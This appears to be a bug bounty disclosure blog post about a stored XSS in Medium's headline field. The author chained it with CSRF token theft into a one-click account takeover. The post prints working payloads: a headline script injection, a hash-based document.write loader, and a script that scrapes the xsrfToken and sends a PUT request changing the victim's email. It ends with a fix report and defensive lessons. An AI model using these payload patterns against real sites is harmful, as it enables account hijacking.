Medium Account Takeover via XSS and CSRF Exploitation
Introduction
Two days ago, I discovered a simple but impactful XSS vulnerability on Medium that I was able to develop into a one-click full account takeover.
Initial Discovery
While searching Google for XSS vectors, I came across a link to Medium that contained XSS payloads. Upon opening the link, the script executed immediately, prompting me to investigate further. I discovered that the headline field was not properly sanitized.
I created a new Medium account and posted a story with the following headline:
"><script>alert(1337)</script>
As expected, the XSS fired:
Bypassing CSP
Since the headline field had a length limit, I tried loading an external script from another server:
However, Medium implemented Content Security Policy (CSP), blocking my external payload.
Understanding CSP
Content Security Policy (CSP) is a security feature that restricts how and from where resources can be loaded. Medium’s CSP headers were as follows:
content-security-policy: default-src 'self'; script-src 'unsafe-eval' 'unsafe-inline' https: 'self';
Medium allowed inline scripts, making stored XSS possible. However, the headline field had a short character limit, restricting full script execution.
Developing an Exploit
I needed a way to extract the CSRF token and make an authenticated request to change a user’s email address. Since I couldn’t fit a complete script within the headline field, I switched to a DOM-based XSS approach.
Using the following headline payload:
"><script>document.write(decodeURIComponent(window.location.hash));</script>
I successfully injected my script into the page and accessed the xsrfToken:
Next, I created a JavaScript payload to extract the CSRF token from the page:
<html>
<head>
<script>
function myFunction() {
var str = document.body.innerHTML;
var n = str.lastIndexOf('xsrfToken');
var result = str.substring(n + 12);
if (result.length > 16) {
result = result.substring(0, 16);
alert('Your token is ' + result);
}
}
</script>
</head>
<body>
xsrfToken":"HZuv9jqWJvnqO0pF"
<img src='x' onerror='myFunction()'>
</body>
</html>
Crafting the Exploit
With the xsrfToken extracted, I now needed to send a PUT request to change the user’s email address. However, SOP (Same-Origin Policy) prevented cross-origin requests, so I had to execute the request from Medium’s domain.
I created the following fully automated PoC:
<script>
function myFunction() {
var str = document.body.innerHTML;
var n = str.lastIndexOf('xsrfToken');
var result = str.substring(n + 12);
if (result.length > 16) {
result = result.substring(0, 16);
alert('Your token is ' + result);
}
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'https://medium.com/me/email');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('X-XSRF-Token', result);
xhr.onload = function() {
if (xhr.status === 200) {
alert('Email changed successfully');
}
};
xhr.send(JSON.stringify({"email":"abdullah@gmail.com"}));
}
</script>
<img onerror="myFunction();" src=x>
Executing this script successfully changed the email address on the victim’s account, effectively hijacking the entire account.
Reporting the Bug
I submitted the full PoC to Medium’s security team. They responded the same day and fixed the issue within 48 hours.
They rewarded me with $100 and a Medium t-shirt, which was a bit disappointing considering the impact of the vulnerability.
PoC Video
Conclusion
This vulnerability highlighted several important security issues:
- Always use a nonce in CSP to prevent inline script execution.
- Require password confirmation for email changes.
- Validate input on both the client and server side.
- Ensure security policies cover all attack vectors before deploying new features.
That’s all. Thanks for reading. If you liked this, follow me on Twitter: @Abdulahhusam.